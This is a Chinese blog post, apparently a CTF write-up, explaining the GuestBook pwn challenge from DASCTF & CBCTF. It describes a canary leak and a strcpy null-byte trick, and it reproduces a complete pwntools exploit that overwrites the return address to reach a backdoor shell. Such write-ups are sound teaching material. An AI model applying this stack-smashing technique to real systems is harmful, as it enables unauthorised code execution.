首页 > 其他分享 >Dasctf&CBctf-pwn部分题目复现

Dasctf&CBctf-pwn部分题目复现

时间:2023-10-28 17:44:55浏览次数:42  
标签:x00 canary CBctf sl pwn Dasctf recv payload lambda

打了一下Dasctf&CBCTF的pwn题目,感觉有些思路,但是就是做不出来,赛后发WP才恍然大悟,还是太菜了喵(

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

GuestBook

 

没开PIE开了canry和NX

main函数:

 首先是很明显的溢出,可以用此来泄露canary值,这部分还是很好做的,

然后就是可以留下信息,最多四次,发现有strcpy函数,将输入的信息到我们申请的堆上面,再用strcpy复制到栈上,但是这有一个小细节就是如果发送的数据中有‘/x00’那么就会被识别为字符串就会自动截断了,所以就得有0的时候就得多输入几次,而且这道题还直接给了后门,出题人真是个好人(。

 在这里还有一个细节那就是填充的数据是从栈底往上填充的,

那么知道了这个就可以进行我们栈上的布置了,首先先接收canary值,注意不要把00发送过去了

 第一次发送的时候把canary发送过去,同时把返回地址修改为0x4012C3

修改完返回地址后,我们再次strcpy到canary处,此时因为strcpy的特性,我们发过去的会自动带上'/x00',canary值我们没发过去的/x00就会得到补全,而再次发送就可以getshell了

exp(来自官方wp:)

from pwn import *

context.log_level = 'debug'
context.arch='amd64'

local=0

#p=remote('node4.buuoj.cn',26492)
p = process('./GuestBook')
def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def leak_canary():
    if(context.arch=='i386'):
        return u32(p.recv(7).rjust(8,b'\x00'))
    else:
        return u64(p.recv(7).rjust(8,b'\x00'))

sa("Please input your name: ","A"*24+":")
ru(":")
canary = leak_canary()

success("canary: "+hex(canary))

sa("How many messages would you like to leave(MAX 4): ",str(2))

#gdb.attach(p)
#pause()
#payload = 0x8*b'A'
#sl(payload)
#payload = 0x8*b'B'
#sl(payload)
#payload = 0x8*b'C'
#sl(payload)


payload = (0xA0-8)*b"A" + b'a' + p64(canary)[1:] + 8*b"B" + b"\xC3\x12\x40"
sl(payload)

payload = (0xA0-8-32)*b"A"
sl(payload)

p.interactive()

Binding:(待博主补充完毕)

 

标签:x00,canary,CBctf,sl,pwn,Dasctf,recv,payload,lambda
From: https://www.cnblogs.com/ModesL/p/17794355.html

相关文章

  • 【pwn】[MoeCTF 2022]babyfmt --格式化字符串漏洞,got表劫持
    拿到程序,先checksec一下发现是PartialRELRO,got表可修改当RELRO保护为NORELRO的时候,init.array、fini.array、got.plt均可读可写;为PARTIALRELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;为FULLRELRO时,init.array、fini.array、got.plt均可读不可写。然后看主......
  • 【pwn】[SDCTF 2022]Horoscope--栈溢出,atoi函数绕过
    checksec检查一下,发现只开了nx,然后ida打开直接看主函数发现fgets函数往s里面读入320个字节的数据,此处可造成溢出,再看看test和debug函数voiddebug(){ temp=1;} inttest(){ intresult;//eax result=temp; if(temp==1)  returnsystem("/bin/sh");......
  • DASCTF Crypto
    官方wpEzRsa✔$\quad$签到题$\quad$到此为止了QAQ二次剩余喵完全剩余系定理如果用一个与模数互质的数去乘完全剩余系的各数,则得到对于模数的又一个完全剩余系二次剩余计数定理对于奇素数\(m\),\(p=\frac{m-1}{2}\),则\(m\)有\(p\)个不同的二次剩余\(1^2,2^2,3^2.......
  • [DASCTF X CBCTF 2023][misc][wp]SecretZip
     1.打开purezip.zip,发现加密,猜测是伪加密,失败。 2.后面看了别人的wp,才明白这个key的作用:key是密钥,跟secretkey.zip是有联系的(同一个单词),因此这个key文件有可能就是secretkey.zip的未加密版本(至少是其中一部分)。3.由此采取bkcrack进行破解: 4.成功......
  • DASCTF X CBCTF 2023|无畏者先行 CRYPTO—WP
    EzRSA1、题目信息fromCrypto.Util.numberimport*importrandomfromgmpy2import*fromlibnumimport*fromflagimportflagdefpadding(f):random_chars=bytes([random.randint(0,255)for_inrange(32)])f=f+random_charsreturnfdefg......
  • DASCTF X CBCTF 2023|无畏者先行(Misc WP)
    justpaint1、题目信息FLAG被我弄丢了>_<不过,JBN应该记得,或许你能从他那得到一些线索。附件是压缩包有密码。。2、解题方法暴力破解压缩包,测试长度为6,选择所有数字得到密码后解压train.pyimporttorchimporttorch.nnasnnimportnumpyasnpimportmatplotlib.pyplot......
  • DASCTF X CBCTF 2023 Misc Justlisten WP
    DASCTFXCBCTF2023MiscJustlistenWP又是一道很抽象的misc题首先附件给了一个汉信码,扫码得到:提示我们使用oursecret:password为0urS3cret,得到haha.txt里有一串疑似编码表的东西abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_}{-?!然后附件里还有......
  • [DASCTF X CBCTF 2023][misc][wp]justlisten
    1. 首先看到奇怪的二维码,直接丢谷歌识图,发现新知识汉信码。2.找到解码器,得到提示 3.看到Oursecret之后,PTSD直接唤醒记忆,打开同名软件,用第二行作为密钥解密,得到符号表注意到字母表长度为684.打开音频,留意到这个37.8秒的音频中,每0.1秒都会有一个固定......
  • asisctf 2023 pwn nightjs 复现记录
    关于赛题asisctf2023nightjs附件一道js引擎题目,基于serenityOS上做的改编。(感觉serenity作者很强迫症善良得写了很多注释,连一行赋值语句都有注释,读起来超级愉悦)。偷看了别人的wp来复现。给了patch文件之后,查看修改处的函数被什么函数引用,漏洞点就很明了了。攻击流......
  • Newstar CTF 2023 week2 pwn
    1.ret2libc发现存在poprdi观察main函数,可以利用puts函数泄露libcfrompwnimport*fromLibcSearcherimport*context(os="linux",arch="amd64",log_level="debug")elf=ELF('/home/miyu/Desktop/ret2libc')p=remote("node4.b......